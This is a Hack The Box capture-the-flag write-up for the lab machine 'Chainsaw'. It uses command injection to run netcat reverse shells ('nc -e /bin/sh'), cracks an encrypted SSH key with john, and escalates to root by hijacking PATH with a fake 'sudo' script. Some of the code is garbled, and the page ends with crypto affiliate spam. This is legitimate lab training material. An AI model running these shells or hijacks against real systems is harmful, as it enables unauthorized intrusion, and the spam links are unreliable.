Chainsaw — HacktheBox – sif0

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Since I am able to execute a ping, and seems like it’s being passed to bash, I can add a ‘&’ and put a malicious command like:

nc -e /bin/sh 9003

Running that line in the Python interpreter:

I then get a reverse shell as the user administrator, and appropriately spawn a tty using Python:

Note that the address changes every time the machines boots. Just connect to the FTP server and download the address.txt file from it.

administrator → bobby

Checking user directories under /home, I see 2 users called administrator and bobby. Note that I don’t have read access on the bobby directory:

Checking what’s under the directory of administrator, I see a chainsaw-emp.csv file. I transfer it to my machine by using cat and piping its output to nc(netcat). I then check the integrity of the file:

Opening chainsaw-emp.csv:

arti@chainsaw,No,Network Engineer
bryan@chainsaw,No,Java Developer
bobby@chainsaw,Yes,Smart Contract Auditor
lara@chainsaw,No,Social Media Manager
wendy@chainsaw,No,Mobile Application Developer

I see a list of possible usernames and their position. I then try reading /etc/passwd to gain more information about the users:

It seems that the default shell for arti, lara, bryan, and wendy is /bin/false, which basically means that they don’t have a shell when they login. Note also that their home directories are non-existent since only administrator and bobby directories are under /home. Bobby has /bin/bash as its deafault shell.

I see that there is a file and a directory called pub:

administrator@chainsaw:/home/administrator/maintain$ cat
from Crypto.PublicKey import RSA
from os import chmod
import getpass
def generate(username,password):
key = RSA.generate(2048)
pubkey = key.publickey()
pub = pubkey.exportKey('OpenSSH')
priv = key.exportKey('PEM',password,pkcs=1)
filename = "{}.key".format(username)with open(filename, 'w') as file:
chmod(filename, 0600)
with open("{}.pub".format(filename), 'w') as file:
# TODO: Distribute keys via ProtonMailif __name__ == "__main__":
while True:
username = raw_input("User: ")
password = getpass.getpass()

It seems that just generates a private and public key. Note that there is a TODO which says to distribute keys via ProtonMail.

Checking the directory pub, I see existing public keys for the mentioned users, but not private keys.

What’s interesting is the /.ipfs folder under the administrator directory. IPFS stands for interplanetary file system. You can learn more about it from these resources: and

Since there may be files uner this directory, I run grep to check for any files that mentioned bobby(since keys are to be distributed).

grep -r bobby .

Note that there is an interesting line where a filename of bobby.key.enc is mentioned. I used cat to read the file:

I can see that it’s a message from the IT department to bobby regarding his Ubuntu Server Private RSA key. Checking the contents:

It seems like its base64 encoded. I decode it and save the file to bobby.key.decoded:

Since it is an encrypted private key, I can use ssh2john to convert it to a crackable format for john:

I then use john to crack the password for the private key:

john --wordlist=/usr/share/wordlists/rockyou.txt bobby.key.john

John then cracks the private key and finds that it uses the password jackychain.

I then try to login using the private key, using the password jackychain:

And I successfully login and now I can read user.txt

bobby@chainsaw:~$ cat user.txt 

bobby → root:

Checking for files under the bobby directory, I see a binary called ChainsawClub that has its setuid bit set and another set of json and sol files.

I try to execute the binary:

It asks for a username:

After trying username of test and password test, it doesn’t work. What I did is to just see the flow of the binary.

Reading ChainsawClub.sol:

It has a string username as nobody and a password, which looks like a hash. I check for the functions and it’s more complicated than the json and sol files I had from the initial step(from the FTP).

I also run strings on ChainsawClub binary:

There is an interesting line from the output.

sudo -i -u root /root/ChainsawClub/dist/ChainsawClub/ChainsawClub

This is improper as I can create a file called “sudo”, add it to the PATH variable so that when I run the ChainsawClub binary and it calls sudo, it will look for any binary called sudo, prioritizing left to right of the variable PATH. Checking the PATH using env:


I first include the working directory to the PATH:

export PATH=.:$PATH

Checking the modified PATH thru the env command:


Notice that the PATH was prepended with “.”

I then setup tcpdump to listen for ICMP packets on the interface tun0, and run the binary ChainsawClub:

Notice that I get ping to my machine. I then check if nc (netcat) is installed on the machine. Then I try to get a reverse shell just to check if I am able to:

Since I am able to get a connection as the user bobby, I then edit the contents of the “sudo” file to:

#!/bin/bashnc -e /bin/sh 9001

Now when I run the ChainsawClub binary, when it calls “sudo”, rather than callling /usr/bin/sudo, it calls the sudo in the current directory.

And now I get a shell. When I run the command id, I see that my uid=0(root).

When I read root.txt, the contents is not the root flag:

root@chainsaw:/root# cat root.txt
cat root.txt
Mine deeper to get rewarded with root coin (RTC)...

Extra challenge:

Since I am root but still do not have the root flag, I looked for ways to find it. I first set up a proper shell:

I then looked for interesting binaries that can hint to what should be done. After a while, I was able find the root flag by using bmap and using the mode slack to see the root flag. You can read more about it here:

So that’s how I solved Chainsaw from Hack the Box. I learned tons of stuff solving this box, and the techniques required was very new for me(interaction with Ethereum client, IPFS, and Bmap slack space hiding).

I hoped you learned something from this. Thanks for reading my write-up! Cheers! 🍺

Free Bitcoins: FreeBitcoin | BonusBitcoin

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Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining

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